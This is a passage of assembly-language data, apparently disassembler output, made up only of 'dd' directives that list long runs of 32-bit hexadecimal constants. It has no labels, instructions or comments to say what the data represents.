		dd 8AB60E4Fh, 57407931h, 6CA6372h, 0C0100530h, 412C9978h
		dd 38BEFB98h, 31F6470Dh, 980E900Ch, 7CEE488h, 66205ABCh
		dd 0C83C72D6h, 1EC0C2B8h, 2102F64Fh, 73912FFCh,	4F263803h
		dd 708728FFh, 0F23B5A2Eh, 1BA7C000h, 0E5065644h, 0A0C0D932h
		dd 7EB418F1h, 0C8702382h, 3800DF11h, 0C99982BDh, 193B342Ah
		dd 78701471h, 0E3A7A80h, 7E586001h, 0D49A8081h,	2EE84818h
		dd 0B1660C8Ch, 20B9A004h, 0EC23904h, 1080F3F1h,	68BE0AF7h
		dd 1190F127h, 4F2080BCh, 0AC2C02F8h, 3A6544ECh,	864F2800h
		dd 48BA3D57h, 0DD629E2h, 80ED11D8h, 702E82B8h, 0C03891E8h
		dd 0DB82C134h, 8B4B8F00h, 279DFA52h, 1425EE83h,	0E0D262C5h
		dd 89450400h, 87F4D839h, 15D17603h, 8757E63h, 0F8E1BDC8h
		dd 1C60C044h, 223F44Fh,	73110Ch, 2B4F2436h, 4F9B687h, 8592569Bh
		dd 78D2C6BCh, 0E67EA404h, 2CD82B41h, 21BC08FCh,	0CD71ED85h
		dd 89A680EAh, 4998B6B4h, 0BE234066h, 0FA4F2201h, 4C481C02h
		dd 2A3C8866h, 0A09C4F13h, 96D280Fh, 49548027h, 535851Eh
		dd 0C5B1395h, 0BBE03279h, 104F1F30h, 0E03402F9h, 0F4F2739h
		dd 3170556Fh, 0C87C3713h, 0B4BAC1CFh, 0E35C8h, 21BA2902h
		dd 12D0BE9Ch, 477A888h,	8EB5CB58h, 0C0E088DCh, 0E264A5E9h
		dd 85B94502h, 80EBB28Ch, 4D7502C4h, 3300904Ah, 9E814664h
		dd 9AD3F2ABh, 51A8F59Bh, 500D5DFh, 493355EEh, 1AF7E440h
		dd 0F976C6EFh, 60F350A4h, 233482B6h, 0E211B870h, 82BF3A01h
		dd 0DCF35D9Bh, 1505EBA5h, 10B3FC62h, 3623983Ah,	0A58F2F0Eh
		dd 78021DCh, 7AE1947Ah,	490464D1h, 0C092C003h, 0FE02ACC5h
		dd 6AC48582h, 328481CEh, 80E80718h, 7CEA5873h, 0F5C026C8h
		dd 0FB851CBCh, 0D080B063h, 2B7ABCECh, 0D04E9FEh, 6D14B13Ch
		dd 0A23EE6C2h, 0C95106E0h, 3EE33F30h, 30480A59h, 63468080h
		dd 1500D856h, 4E5D4F8Dh, 3A2DCAC3h, 0FC13FBD3h,	0EEE0403Fh
		dd 7D7A01A1h, 37C8443Eh, 8F921947h, 0A18CAF99h,	824BCA30h
		dd 5D1060h, 2AB04197h, 65B1A4D0h, 7EC65402h, 77C9CA5Bh
		dd 92A9D4C3h, 88BC4910h, 0ED1B0h, 0F6C45572h, 5E78FF64h
		dd 0E0D14899h, 17025918h, 0DD5C8B55h, 1784464h,	5E48D54Dh
		dd 0FFD008E5h, 7EB9AEE8h, 0BD23DD00h, 8FE99126h, 9099C013h
		dd 5E3175E6h, 1536EE00h, 1F09B19Bh, 833E9BCh, 0B8306EA2h
		dd 80C50081h, 480FABE0h, 721DAAA2h, 0DC689C99h,	0F2604770h
		dd 588617C9h, 95D1204h,	0EC9C072Fh, 0C484C4EBh,	88948E68h
		dd 0DB5C067h, 0CA05F21Eh, 0CC90D0CFh, 0F6C5DC90h, 6B6F0594h
		dd 20088F76h, 0D58A83CCh, 0E2CEB600h, 0C2433D80h, 96F20710h
		dd 70BA11DDh, 950EF4B9h, 0F4FB0224h, 4B50659Ch,	4DF7B05h
		dd 0BD98228Bh, 134F2130h, 382402FBh, 29053BECh,	21605A4Fh
		dd 0BA8F8181h, 51A6A030h, 0A0418033h, 3309420Ch, 3072A280h
		dd 0DB00850Fh, 0F296615Eh, 0A0A47098h, 3EE65788h, 76A6F62Ch
		dd 0DF467484h, 54920771h, 0A36CE39Eh, 11C215ABh, 3A443867h
		dd 4059CF60h, 0DFF5CB01h, 0E0063610h, 725BAC41h, 6EA28C73h
		dd 0E05C630h, 0CCE38D06h, 0DBA9F360h, 7424A172h, 0F6944470h
		dd 0A2EE0778h, 59E2D057h, 0AEC812Dh, 518277BFh,	3C15448Ch
		dd 811AEC68h, 0C1AC6A81h, 697800BDh, 1191DC66h,	0DD0E2B09h
		dd 241C4D0Fh, 0AC442C53h, 0E54674CCh, 0D7A10070h, 0FADAE0C0h
		dd 0EE18585Bh, 0CB913F90h, 1399300Eh, 0CA0F280h, 0EEF07541h
		dd 7819C064h, 0EB092143h, 0F648E302h, 15EF80Ch,	807A416Fh
		dd 78910A9h, 4B74807Bh,	23603E9Ah, 0F56F00F4h, 0D3FE908Ah
		dd 7E10F0B8h, 32886B6Dh, 0D6F468h, 55D07924h, 0F3709920h
		dd 90B5740Ah, 2791588Bh, 1DBCF882h, 0C6BEEC5Bh,	2829401h
		dd 0E01ACA8Fh, 65520A21h, 5B803B0h, 0C0A0D407h,	515791B6h
		dd 41A2FCDAh, 6586179Ch, 2A583207h, 10BA3430h, 0E02DC8B7h
		dd 0BA2C03h, 3E8F529Eh,	0C298E95h, 0B8F6BC09h, 0E3178174h
		dd 0C330BF4h, 1702C29h,	8522BCFBh, 0C319F5h, 0BCF2CE21h
		dd 0C8CAC453h, 0AC4ADC90h, 0D1CBEC07h, 0CF572F51h, 94EB6460h
		dd 18E75CE8h, 6E4A0041h, 95F22765h, 0A10EACDFh,	0C0376B57h
		dd 0B693ADFAh, 10BA06C7h, 0C9CAF547h, 36AB3E00h, 0AC5B2EAFh
		dd 72EA25A2h, 6511481Dh, 15E92080h, 29035287h, 2E8D2767h
		dd 0E25016E1h, 8FC84657h, 151CD912h, 0BA008033h, 0E54484ECh
		dd 24F49043h, 91D091B9h, 82029FF0h, 71E0702Fh, 0C2356084h
		dd 0A7007782h
		dd 8B9EDA94h, 0A5495FA6h, 60DCC424h, 7C46DB5Dh,	0C1E400F1h
		dd 2561F4ADh, 0CB62768Dh, 0E008D5D0h, 6A776Ch, 4580D2B6h
		dd 207D9734h, 80D6F22Eh, 64229B93h, 7FBCC4E2h, 41673D7Ch
		dd 81A4F19Ch, 4D09F99h,	282E05BBh, 331F0223h, 0EF162741h
		dd 8243C90h, 8EFA00E0h,	8FBA85D8h, 7E606910h, 1F321889h
		dd 361C004Bh, 5EA2E6ECh, 131CCF02h, 84476316h, 0C47A913Ch
		dd 1D7A260Bh, 807411ACh, 93A456DDh, 80030164h, 24FEC928h
		dd 277430F4h, 772E9A00h, 6DC8BB26h, 4A6330D3h, 732B53B9h
		dd 28C4951Ch, 0FF07EACFh, 228C8602h, 30BC81F9h,	0EC32A17Eh
		dd 3BA2F053h, 0D6DF30h,	8FEC067Dh, 948728BDh, 60D40A30h
		dd 504D64D0h, 96E58020h, 0F4465CECh, 668FBF00h,	43029F13h
		dd 802D0E27h, 0F59A1564h, 0C4732BEh, 333029B8h,	0C8B611BAh
		dd 803C8825h, 56BA2B04h, 6000C83Dh, 788403D6h, 2479F14Bh
		dd 2674F6F0h, 0E3467468h, 0F2174C00h, 0ECA5C19Bh, 9F001498h
		dd 0B0048C33h, 248AE0EDh, 89CC256Ch, 24C5D06Fh,	1E6067E4h
		dd 8709540Ch, 0A6DB3A8Ch, 89F108h, 22B2D1E3h, 0AC4B6BA4h
		dd 15B93400h, 0BF8EEE5Ah, 763C9C7Bh, 0CD072D46h, 82870453h
		dd 0C8C0B190h, 9C816D54h, 0EC59CC22h, 2F051ABCh, 0AA4AC596h
		dd 6AB86CC1h, 38BCCB01h, 8CE5BC20h, 0C16E8101h,	3374F6C8h
		dd 2CB81820h, 74CC3D64h, 76756746h, 8865523Bh, 0C88FF100h
		dd 0E78C2836h, 0A2A8CCE1h, 0D9DBD31Ch, 0BA4B6040h, 0A4CEBA5h
		dd 28B17502h, 4EF100F8h, 0DFBD2ADBh, 0BB810401h, 0E69FA4F7h
		dd 1B82838h, 0A7B4243h,	0E7E12969h, 47D740FCh, 0BBFABE1Ah
		dd 9F4FDF00h, 821DC10Eh, 78B4000Fh, 7A529242h, 3105F7FDh
		dd 71088170h, 0B12BB400h, 0FFCF83EEh, 2FE21023h, 69DEFF33h
		dd 0CA008231h, 0F41204EFh, 91267004h, 0C38B3428h, 88689DBAh
		dd 3C604202h, 0CDCBD1Ah, 821C88F8h, 0B20C1B50h,	0C12F91EEh
		dd 0A0FD29E0h, 6084D3ACh, 2246A130h, 7800F5FBh,	125E3843h
		dd 5CBA4FDAh, 0B021F4F3h, 0FF1868F9h, 0E38C0105h, 82160ECAh
		dd 6C284091h, 288C2508h, 4CB1BA2Fh, 7E7C445h, 136EF027h
		dd 0B2384DE2h, 0B6F50919h, 918C97EBh, 0A0E78036h, 0A23A38Ah
		dd 0E5028593h, 58FA1188h, 0A4530548h, 0E02FE6BAh, 414375h
		dd 0BF2CA81Eh, 4B0E1955h, 0C5244E81h, 0C0F48890h, 703382B5h
		dd 0E030C05Ch, 7D82BE39h, 0D78A0024h, 6625B41h,	853B3AB3h
		dd 30F720BCh, 0F831EFE2h, 7A4DE890h, 0A4B92F30h, 56C27014h
		dd 28ECF29Ch, 7CC124Ch,	8BA06704h, 11A89A72h, 0BA308526h
		dd 9C4DBC82h, 28FF01A8h, 8DC608BAh, 0A50ED4FEh,	0F6F68C72h
		dd 602D6830h, 9E548970h, 0EC10B28h, 3CA774C9h, 90EE0C6Ch
		dd 3AE0512Ch, 0BD268804h, 8DFA41B8h, 39A0E897h,	0C0205B5Eh
		dd 580144D0h, 0B456BC1Fh, 5629B2F0h, 80A03962h,	60B4726Ch
		dd 98FAB9B8h, 0B2817DBCh, 68BC7028h, 937E0F8Ch,	836C8AF0h
		dd 5E7FE219h, 7572240Eh, 7755E101h, 80504465h, 74BF387h
		dd 5D114392h, 0C0DD90D2h, 0D112899Fh, 3440FC90h, 0B55C93C1h
		dd 70BE0443h, 807E8426h, 8604DBF2h, 0C2F284Ah, 0C141FF10h
		dd 0E6C50D46h, 0E22C9078h, 960540FCh, 330040C1h, 44840449h
		dd 6B947Dh, 57DEC7E5h, 0CF1558EFh, 1C206CB0h, 0E6C90B6Eh
		dd 0E08BF594h, 0E0E418E5h, 74449960h, 58FDBB48h, 0F5AE1A04h
		dd 4428C798h, 0CA386071h, 34900205h, 32D964A2h,	8D1C1C40h
		dd 0F1CC7632h, 4B620E7h, 8371FE3Eh, 0CB00A574h,	9D51273Bh
		dd 0BA69C0h, 0D04E4190h, 2E1BE7Eh, 0ED6D25h, 4F7EC00h
		dd 11C9603Dh, 0EEE28086h, 270059DFh, 0D0B9585Ah, 0F74F1D2Fh
		dd 0ADE080FBh, 0F3E40474h, 860329DFh, 5FF60A94h, 23902FF0h
		dd 46010074h, 8FDBA91Eh, 0DFE55302h, 40A89610h,	65FD7582h
		dd 0B3B9A02Eh, 0A63E006Ch, 0BBBC94A9h, 702F00F1h, 78571E10h
		dd 40E5D36Bh, 0AD06CBE4h, 59ECF752h, 0AA8BCB4h,	127080AAh
		dd 0E44A8878h, 5674FE01h, 0A828E364h, 424302E8h, 7E04213Ch
		dd 0E34C7A25h, 3374A24Ch, 547F0AFh, 610C7784h, 216B6A29h
		dd 44BE0076h, 0A8D5A4C5h, 5200E03Ah, 601E145h, 2FE3719h
		dd 0D08F0B0Ch, 84E07C1Eh, 0F100BC80h, 97BE272Bh, 7B7A3BF8h
		dd 63C815D2h, 11248C45h, 0C0210032h, 0A8943D92h, 769AC1Fh
		dd 201F338Ch, 643E7757h, 0CE7C1020h, 0C02D88D4h, 0EBE1ED8Ah
		dd 8D1E3492h, 0A9C0E78Fh, 75B35984h, 0B470397Ch, 4918A116h
		dd 4021F820h, 78FD06CAh, 931D3888h, 0FC8852B5h,	0F68C1286h
		dd 0C988D1E1h, 0B488003Bh, 66543E23h, 21748017h, 803164F0h
		dd 13C97599h, 2FCB95FCh, 0DADE0D70h, 0DC6D1400h, 5B56B838h
		dd 786EACh, 9519D51Fh, 72997322h, 38F09AF4h, 78407CF6h
		dd 0C08D4B01h, 0C468BE8Ch, 0B9E1A064h, 0E0F24E8h, 66697564h
		dd 73913C9Dh, 83A88480h, 604911Dh, 3ABD04FFh, 0FA3940A8h
		dd 101F0110h, 0A053E3Bh, 0CFF8BAC0h, 0C07188BCh, 0E2A69092h
		dd 651302FCh, 444F2BC5h, 4AD0F4B4h, 0C9C11C9Bh,	64FE90ECh
		dd 9E75A118h, 0C529DE1Dh, 726538C0h, 30E9ABh, 15BF846Ch
		dd 0B145023Eh, 8C802162h, 424CE362h, 71E240D8h,	0F8A0A30h
		dd 80F5791Dh, 1E1C21B3h, 80A9618Dh, 893D29D8h, 17CF3EB9h
		dd 8B44ABAh, 0C18EA22Ch, 0F984C2E0h, 4FE3FF5Bh,	0F01197Bh
		dd 0EC24F80h, 746C67BDh, 467E8588h, 8F200167h, 0D1C79AF8h
		dd 5D6981FFh, 447A2182h, 0CCA92A59h, 1F26C84h, 661974B8h
		dd 24787C31h, 80B02AC9h, 2012BCF9h, 0F08B0585h,	0BCF0CC01h
		dd 0A168B545h, 73F1B8C0h, 9D003118h, 0D096E914h, 197F270h
		dd 0BC52F035h, 3D668B8Eh, 57420034h, 0FE99283Dh, 3BC1275Ch
		dd 188849Dh, 47186042h,	0DA16FA5Eh, 0B013575Ah,	0BF8070DBh
		dd 901F21FBh, 7741FF20h, 1B0300E9h, 5286B6BAh, 6100249Bh
		dd 0DDF8C3E8h, 72FACC5h, 698C172Ah, 0E0ED40DAh,	882B1530h
		dd 937BA07Ah, 4709E805h, 62920143h, 8FEE7582h, 2B9C50E3h
		dd 0DC9C4906h, 0C8099C2Ch, 0D040489Eh, 45E4AFEh, 168C409Ch
		dd 87F1A008h, 90FA176Ch, 50E9B84h, 0E0093E00h, 0C8BA8104h
		dd 0DBD34A75h, 712E80E0h, 6CED636h, 9080B38Ah, 2004107h
		dd 0DE59FF61h, 0E649D191h, 90460966h, 54113E12h, 0BCE81928h
		dd 0D585291Eh, 0EED24038h, 600053BCh, 258731A5h, 1F29BE4Ch
		dd 0C9C496F2h, 946791B9h, 0D067E144h, 5DBAC1FAh, 97FF4D00h
		dd 0D19B80AFh, 0CB074BD7h, 4210DCBCh, 0CA70E4C0h, 0D8A8250Eh
		dd 462FDD93h, 9DEC2FFBh, 1ED19705h, 0E7F01CA0h,	41C95C1h
		dd 7F8DBB07h, 0E111EBDCh, 4180F6E2h, 0AC07D55Eh, 295B01F0h
		dd 0FEC9C001h, 708E0678h, 80246315h, 9CB97Ah, 0A3F8989Ah
		dd 95B12ADFh, 6B064C37h, 5BD897FCh, 7BB40331h, 0B1A6687Fh
		dd 7561D224h, 8728240Bh, 8B1B2960h, 0BB400144h,	3C4BECF7h
		dd 85C0E488h, 968C5B40h, 708086E4h, 862DD90Eh, 97A8BA4Eh
		dd 80F4112Ch, 0D10C36A8h, 292009B8h, 0A8274CF6h, 0B05DBE47h
		dd 98DA79E1h, 6000A29Fh, 0DC0C7C49h, 0E4CB6E26h, 0C9D8B20Bh
		dd 6B2AE6F4h, 585C0164h, 4E0920F1h, 73C2E1F4h, 0BEFCA017h
		dd 0BD949443h, 20BCE0A0h, 0C08BEB12h, 9DC03B88h, 74EC9FB6h
		dd 719B1240h, 3898A596h, 8C30BCCCh, 84C7C401h, 7D694F72h
		dd 0E8A0B050h, 58F800B0h, 35D2BCCh, 6100CF18h, 0EB4B5FAh
		dd 6BB231Ah, 64F3E180h
		dd 67005132h, 168CB175h, 81AAB3h, 3CC4BEB5h, 0D6F5967Fh
		dd 7432E200h, 72DB4EF2h, 84A82D99h, 0DCC5F02Bh,	0CB60DFE4h
		dd 0F1129ECAh, 808C8CDh, 9BFA1366h, 0CAB8034h, 3E796CC1h
		dd 0CA179FA4h, 47C4E45h, 8CC0CDABh, 0CC128F0Ah,	80C81340h
		dd 2EC401Ah, 27993D18h,	97808E28h, 0DB113C1Dh, 4088C09Ch
		dd 3E4171CEh, 72EDF204h, 64B4695Ch, 0F0207FB7h,	0D7EF13A0h
		dd 159A00A3h, 0FFFDBB71h, 0D8D6F001h, 0CDDE8C84h, 16A498A0h
		dd 0CD751879h, 0C921F248h, 903544E6h, 0B789C30h, 80628304h
		dd 40687C24h, 4ACD10E0h, 0AD74B156h, 0E3918097h, 65178782h
		dd 0A403A05Ah, 0B58650CAh, 0C70EE011h, 587203C0h, 2548FE22h
		dd 0B7189809h, 710051EBh, 5E1182Fh, 870288C5h, 0B10CB351h
		dd 0C30C4201h, 2AE1104h, 70D23975h, 9610D918h, 0E250A326h
		dd 233830E2h, 202B2F03h, 0FBE0DC9Ah, 0D22100E9h, 0C3E9F2Ch
		dd 0E300AD43h, 0CD57D893h, 50295F2h, 6851C13Bh,	0EA50A499h
		dd 8FC439C3h, 44E5C0CBh, 12B0001Ch, 0D5F93A9Ch,	0A61EF0AFh
		dd 4005632h, 0BE6E8DB8h, 2B9B2CBAh, 79870974h, 747908D9h
		dd 4500EA18h, 0B8266951h, 12CA522Bh, 0E491B6C9h, 0D616B57Ch
		dd 60A217A0h, 543136F2h, 0ED4EFCh, 7597D41Bh, 0B4FEC8C0h
		dd 4C72FD40h, 2EE8A84Ch, 0E1B6248Ch, 26A039DCh,	0C69BF105h
		dd 0B081ED6Ah, 0A805F721h, 0F1C0F24Ch, 480263Ch, 3E1F0174h
		dd 0BE608C7Dh, 0AF4B7E7Eh, 0FE312650h, 0CBE20830h, 61084424h
		dd 525A1640h, 0D664A2C4h, 0A0807CDAh, 9D3C5004h, 4674509Eh
		dd 5432013Ah, 0EF996694h, 29A0A8B8h, 694968FAh,	369A0014h
		dd 7FC6A97Ch, 0F904000Dh, 93172BF6h, 372739A8h,	0D870A0E2h
		dd 0EB49D26h, 20253DBCh, 0F3C500D3h, 0A28CA172h, 0F77644BEh
		dd 116A018h, 0FC04C4EFh, 201DBEAh, 5433E55Dh, 0B05CA6A0h
		dd 79D0E98Eh, 114A0009h, 0E0168805h, 8D7086FAh,	0C5201C98h
		dd 2AEB0439h, 0F028E8FEh, 96006C64h, 0CAD9F163h, 9A0164E6h
		dd 5EA09478h, 8041F621h, 0E61FAF52h, 0C90BE028h, 10652533h
		dd 0EBD592D0h, 1ED57F4h, 0B191FDDEh, 0F83B0656h, 0A03B8186h
		dd 31D85094h, 2BFD5BF0h, 7123982Fh, 0E659500h, 0FC80E279h
		dd 0BACA2C54h, 18EF74F0h, 596E0099h, 57D5AE28h,	69C2756Ah
		dd 0E48BEE79h, 0DFC1037Ch, 328626F0h, 707288E2h, 0B95C980Ch
		dd 9E6F8873h, 950E823Ch, 58DAE38Eh, 3D328127h, 0D275027Ch
		dd 0D0C05724h, 711C59F1h, 0A3254647h, 0C0BE2710h, 9B4218Ah
		dd 2FF402E0h, 60245C04h, 26B9BA2Eh, 70805DC8h, 0BA1F26FDh
		dd 4900E798h, 0B1832D55h, 82692A42h, 0C240088h,	114FA13Ah
		dd 7A126C73h, 0C40FD8Fh, 571B2D13h, 61F4E0h, 0D0D2C307h
		dd 0B232A89Ch, 0DF6D7601h, 0F7BB7E04h, 925D5420h, 841D9FDCh
		dd 0CB806E91h, 0DE95FDFh, 2FBCBE05h, 0D810298Fh, 10470F78h
		dd 0F2ADE27Eh, 876CD2D7h, 41A84EC0h, 5EE7F960h,	8DA40E48h
		dd 16E9A37Fh, 0FC74B000h, 0C499E358h, 5060ACDBh, 54058125h
		dd 0C8970B53h, 8C3348E1h, 6B306DA2h, 92A60007h,	83B91EBDh
		dd 3E00E952h, 2CE0010Fh, 3457E1BCh, 0A90AC942h,	91590E04h
		dd 54D82036h, 9730E78h,	675AF84Ah, 0DDC0ACEDh, 1ABD1E1Fh
		dd 0C8519AEEh, 0D97E2C60h, 3AF8C0A4h, 0E73D8217h, 0F62CF004h
		dd 0DBEC00A8h, 0A330008Ch, 0D92A9AE1h, 9D4CDD97h, 98D810DCh
		dd 51EEC501h, 7A766BB0h, 0F400106Eh, 0D93E4C88h, 2105C890h
		dd 725B1D03h, 0EBC02CA8h, 22A5399h, 3E573100h, 905AED23h
		dd 8C495009h, 24A09F63h, 0F68CFAF5h, 991890h, 1841EADBh
		dd 64F243A6h, 0A5803801h, 948D3B51h, 0A917D062h, 0C550E4F6h
		dd 3FF14040h, 0F282AFC0h, 0F41CEECAh, 0E311B89Fh, 99726581h
		dd 38026B5Ch, 50F7DCC1h, 40904F48h, 7B60388h, 6D053FD8h
		dd 16DEE6A1h, 34924380h, 3C7005DCh, 0A9852B9Ch,	0A887C44h
		dd 0AF0C9CC4h, 0C6E2FC1Bh, 0FC0924DAh, 0F84F5C3Ch, 0F5471A98h
		dd 68178129h, 0E980E511h, 0CACB289Eh, 0D088F80Ch, 6B69D896h
		dd 0ACE57144h, 74606EE4h, 9B0E040Fh, 9C184D5h, 5C978026h
		dd 4887F67Eh, 0F8324862h, 0F4649089h, 3EAC840Bh, 2DF46AEBh
		dd 0E4002174h, 47DD1DC8h, 449A4FC4h, 6E127A80h,	1400ADEDh
		dd 8A608B39h, 414A950Dh, 6DAC60D4h, 168C3F40h, 3E7DD022h
		dd 76723D4h, 372241F2h,	68910C0h, 0A22DFDE0h, 8008B5E6h
		dd 0D5C4DFE3h, 1403BF70h, 3D4F8573h, 0D6EBAA80h, 42E07C68h
		dd 0EB782686h, 0D2400090h, 0E53C847Ch, 0D8C43A4Ah, 8F1844B3h
		dd 0A25A390Ah, 60107300h, 0D0C08072h, 759D0BFAh, 0B460BF8Eh
		dd 150429B1h, 6803CF9Bh, 0FDF508E2h, 4BDD8348h,	6504882Bh
		dd 90B61786h, 844CC039h, 0AC9A8AC4h, 0CF8093Ch,	10FA2EBCh
		dd 0B00753D7h, 0C4202A1h, 0A93507B1h, 2B80F0C5h, 4A5E7C40h
		dd 465E309Eh, 232901E6h, 0F0E1F886h, 0C5711980h, 0DEB02431h
		dd 0DFD2A709h, 586C7A64h, 4100C1FAh, 81A3901Bh,	5E094CCEh
		dd 8E308F5Ch, 57AE8ECh,	8EA00747h, 41F48450h, 0D5E75230h
		dd 8412880Eh, 4558297h,	56ACE113h, 80AC236Ah, 0B60C52C4h
		dd 0E6A14Bh, 22998FB9h,	7BBC51Bh, 4F72F513h, 0FC8018DBh
		dd 8DAEE778h, 82DC6705h, 0ECB0EB51h, 5C8C96ECh,	874C3B46h
		dd 0C3365F00h, 84DCDE81h, 80C68C2Dh, 6E865704h,	0D9060048h
		dd 0D2765F05h, 1094EB33h, 130465Ch, 17D0F3F0h, 40404665h
		dd 12A716Ch, 567B9074h,	0D9CC09BFh, 8C973098h, 18D38802h
		dd 0AE7F68BCh, 0BAD1A3B0h, 0CC02D809h, 1201021Dh, 4B4C8F4Dh
		dd 0C80234FEh, 0F88BC4A0h, 7C90BF78h, 0C89486EEh, 8E64982h
		dd 5C165526h, 16507CBBh, 0E5B9007Ch, 0CECD43EDh, 5700F297h
		dd 2FF8983Dh, 0D74789EEh, 5D882031h, 1A01ACB8h,	4C6AF45Eh
		dd 3A2F4806h, 388C7778h, 0B08017E8h, 0A0B94273h, 449020B2h
		dd 48860C44h, 0CB4EEC50h, 41F8C4E8h, 246B6C30h,	72C77124h
		dd 0ABD77B00h, 0AA010EC8h, 0D0B087A0h, 10F81349h, 2D811810h
		dd 0CC9C4316h, 0C50EC943h, 0A020395Fh, 17FCB5Eh, 6CBD29F6h
		dd 0E81645B7h, 0B00C3B8h, 0BE17FABCh, 9EA1EECCh, 664674FCh
		dd 4177A705h, 0CA988C12h, 5A04FA40h, 80209BBBh,	2BED1D27h
		dd 81649690h, 69E47A86h, 0E97ECC3Fh, 0B4D0D100h, 0AD252710h
		dd 0F68304ABh, 0AC453C7Ah, 694C00D0h, 9C917075h, 0E098A067h
		dd 87992CC8h, 0A0F3189Dh, 58999FA4h, 6360BCD3h,	490BDCBDh
		dd 0F8671D51h, 8BF94B54h, 0C072C838h, 0EC53B8AEh, 0F8CFB40Eh
		dd 519AAB90h, 0D391907Ch, 3AB298E2h, 7F19B930h,	0CA620BFDh
		dd 40D8F50Eh, 0A4360B6h, 4D7AE88Fh, 0D1ACB941h,	1C3A186Dh
		dd 0A8F3A1h, 9B5D64B7h,	6D283D04h, 1604C442h, 0C9758079h
		dd 0B5F87CA1h, 48C946Eh, 0CE356B57h, 3E39CD4h, 0A5D54D38h
		dd 0F4430980h, 1330512Dh, 874AA020h, 9F960191h,	46D585Dh
		dd 4D86F82Dh, 3B434CBAh, 0C41F8F1h, 14BE2D2h, 0EFF2FC14h
		dd 79C328C7h, 0CC2ED38Ch, 8303E223h, 0B0206A34h, 8831D1h
		dd 0C7B886FAh, 68B6F740h, 14C021BDh, 0F0C8432Bh, 2CBE00D8h
		dd 0FB8F4144h, 2307B9D9h, 3CC52DE1h, 0BBAA400h,	396F60C1h
		dd 76A2EE59h, 810919Fh,	0C0FEE2E7h, 41C51Fh, 9B8F3A31h
		dd 0DD510B02h, 0B5936D05h, 88A91878h, 170C3784h, 78E200A0h
		dd 0A86F951Dh, 5140FD40h, 98A40BC4h, 4C98DC36h,	990E25D8h
		dd 28F514h, 7E8D73B3h
		dd 9011756h, 4C40093Fh,	2E11201Dh, 5461208Bh, 0CA20F285h
		dd 0B63472BCh, 0F375DC80h, 0E945CC02h, 7024F67Eh, 2D3C09A0h
		dd 846546B3h, 0AF60E2E4h, 5D1E63F8h, 59078E53h,	0F0B39D0Fh
		dd 68F82533h, 4AB2CCA0h, 5E002302h, 3E41DD1Ch, 9D9B0357h
		dd 0BD35549Ch, 98333991h, 0C656E85Ch, 98B0934h,	0E281FCC8h
		dd 7A917F1Fh, 408BC034h, 32C33088h, 14828CBEh, 61FCD459h
		dd 2ECCCAF1h, 2DC86C9Ah, 0E96949C1h, 0A0B83439h, 68872317h
		dd 3B798B4h, 3B4B101Dh,	0DBB8A349h, 0FA0A1430h,	6C8BEEDDh
		dd 3C944425h, 0C48B2283h, 9500410Ah, 64447B46h,	1650213h
		dd 1654A0B0h, 0C428EEC8h, 0B8F8ADF8h, 3C7302C4h, 0B1748CE1h
		dd 87EC00F8h, 260CDB00h, 0C9447AF5h, 97F18029h,	0ED206301h
		dd 1368F6C8h, 98F87882h, 0B4807494h, 2CE90629h,	0E68018C4h
		dd 2B854ECh, 63BB008Ch,	1F80BDF8h, 0A8B69E8Dh, 0F55CA202h
		dd 0FC651242h, 6E4168CFh, 0A5F8EB80h, 53049E1Eh, 3CD54502h
		dd 183C188Dh, 78CDBBCh,	0C5B24135h, 0D081538Fh,	0F75526D0h
		dd 6280E20Fh, 98CA2256h, 0B485C44h, 0D859BACBh,	613F8B00h
		dd 0E4F457h, 29AE5C05h,	0C70F3336h, 0BC949750h,	80D3C628h
		dd 0BE0418B5h, 0E60F09DFh, 3482F6FAh, 88033005h, 0C0FCDCBCh
		dd 0C8B8CB5Eh, 0A1BBC066h, 9700F267h, 0E1BC08A9h, 89B714h
		dd 0BE4A50CCh, 9B15E9E0h, 78251B07h, 7D129E4Bh,	7B6C62F6h
		dd 72717030h, 843CA117h, 0E260BCD6h, 916C042Bh,	9E927CB0h
		dd 1DD29CE0h, 4A259804h, 21496406h, 0A883DD1Dh,	61A939C2h
		dd 10815743h, 30295786h, 0A8BC5128h, 5DE8C2Ch, 0DDADEEFFh
		dd 238C3EA6h, 0CF9D02E6h, 0A4D4541Ah, 50CB9288h, 9630C50Ch
		dd 5CFE18D1h, 0E39D3EA6h, 82BCDB4Eh, 7C683B0Ah,	0D4C1678h
		dd 6E218DE8h, 0BEACC013h, 13468012h, 298F26Ch, 9F6E8D15h
		dd 55D1E2BCh, 0BA54AC9Ch, 0F67041E4h, 70380360h, 0BD9EE0A1h
		dd 91100034h, 6E4B7A01h, 0F1DD0090h, 0F2F98543h, 2F3D044Ah
		dd 12F05A95h, 0E30084B2h, 44A53689h, 65002730h,	84599B67h
		dd 258C145h, 0CB20DEC6h, 786AACEEh, 465E4076h, 627C00DBh
		dd 1A4CBA37h, 30FD5C3Dh, 0C9C05D16h, 58A060A8h,	0B158473h
		dd 53A060BDh, 3072A2E4h, 0A03108Bh, 7A57D087h, 817B8299h
		dd 738042C0h, 6418453Eh, 7F984108h, 6C0E38F6h, 60B34B54h
		dd 0D330E4E2h, 488FF046h, 402220CFh, 20C84D4Bh,	0F8912F70h
		dd 3C1160C2h, 0C00915F7h, 49680250h, 763C5C3Eh,	6700F546h
		dd 7D22F35h, 0FA02C7BAh, 3FE75DB6h, 8570D9E3h, 0E8934959h
		dd 863C80C4h, 0B4398Ah,	4356E695h, 0FDDFED82h, 9487A204h
		dd 2084E552h, 4B8022ABh, 20B7E0A9h, 0D58380BFh,	0E32655BCh
		dd 0FAD4047Ch, 0FD79AC98h, 0FC8BD6FCh, 71C0E6C8h, 0A6CD7019h
		dd 0D571C0h, 0BB507D58h, 28948310h, 0B1626A00h,	0C32F0F5Fh
		dd 2F59E66Fh, 94E88970h, 2707E9E1h, 7257F3BCh, 8F8A4620h
		dd 4B7E880Ah, 7DB8F001h, 9BFAE830h, 2DDAB4F0h, 2CE4E3EBh
		dd 4618D400h, 0ECAD169Eh, 3BD80083h, 0BA1EC904h, 677B31FBh
		dd 0DCE62813h, 64770440h, 2D905A69h, 0F4BD3E14h, 68C55C02h
		dd 86F0A084h, 75B5AD3Bh, 8B800E72h, 9244D809h, 2820BE79h
		dd 16F0E0D3h, 702DD9Dh,	809096BDh, 0A28C84CDh, 7CC0F84Eh
		dd 9169DC95h, 0A02C001Ch, 0D5EDB9D3h, 7C03F378h, 0B2950F7Bh
		dd 933104E9h, 407E69DDh, 0C58E735Eh, 5C0A0733h,	70D77D1Bh
		dd 690AD9Fh, 0D16889C7h, 0A0DE44D7h, 1628F236h,	2FA89E2Fh
		dd 6B004C44h, 52AA01E9h, 1BEFD7h, 72C47F12h, 0D09F1ED5h
